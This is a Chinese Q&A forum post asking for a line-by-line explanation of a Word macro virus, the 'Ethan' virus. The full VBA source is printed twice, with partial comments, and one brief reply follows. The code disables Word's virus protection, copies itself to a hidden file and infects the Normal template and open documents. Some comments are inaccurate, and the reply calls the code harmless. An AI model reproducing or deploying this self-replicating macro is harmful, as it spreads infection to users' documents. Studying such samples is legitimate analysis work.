求高手指教宏病毒 代码的详细分析,每一句都是什么意思。

Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
Randomize
If Dir("c:\ethan.___", 6) = "" Then
Open "c:\ethan.___" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, a
Next I
Close #1
SetAttr "c:\ethan.___", 6
End If
If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item( 1 ) .CodeModule.Lines ( 1, 1 ) <> "Private Sub
Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
Else If ActiveDocument.VBProject.VBComponents.Item( 1 ) .CodeModule.Lines ( 1, 1 ) <> "Private SubDocument_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\ethan.___" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
If Rnd < 0.3 Then With Dialogs
( wdDialogFileSummaryInfo ) : .Title = "Ethan Frome" :
.Author = "EW/LN/CB":
.Keywords = "Ethan":
.Execute:
End With
If Left(ActiveDocument.Name, 8) <> "Document" Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved= s
End Sub

Private Sub Document_Close() ‘close事件,当文档关闭时触发
On Error Resume Next ’如果出错了就执行下一句
s = ActiveDocument.Saved ,将当前活动文档保存,并把保存结果给s变量
Application.EnableCancelKey = Not -1 ‘使程序运行无法中断
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With 将好几句写到了以行,设置options的一些属性。太麻烦了,如果你有一句两句不明白我告诉你。
Randomize
If Dir("c:\ethan.___", 6) = "" Then
Open "c:\ethan.___" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, a
Next I
Close #1
SetAttr "c:\ethan.___", 6
End If
If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item( 1 ) .CodeModule.Lines ( 1, 1 ) <> "Private Sub
Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
Else If ActiveDocument.VBProject.VBComponents.Item( 1 ) .CodeModule.Lines ( 1, 1 ) <> "Private SubDocument_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\ethan.___" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
If Rnd < 0.3 Then With Dialogs
( wdDialogFileSummaryInfo ) : .Title = "Ethan Frome" :
.Author = "EW/LN/CB":
.Keywords = "Ethan":
.Execute:
End With
If Left(ActiveDocument.Name, 8) <> "Document" Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved= s
End Sub
温馨提示:答案为网友推荐,仅供参考
第1个回答  2008-11-21
Private Sub Document_Close()

文档关闭事件,当文档关闭时会执行此事件

向c:\ethan.___ 中写入文件

好像没啥破坏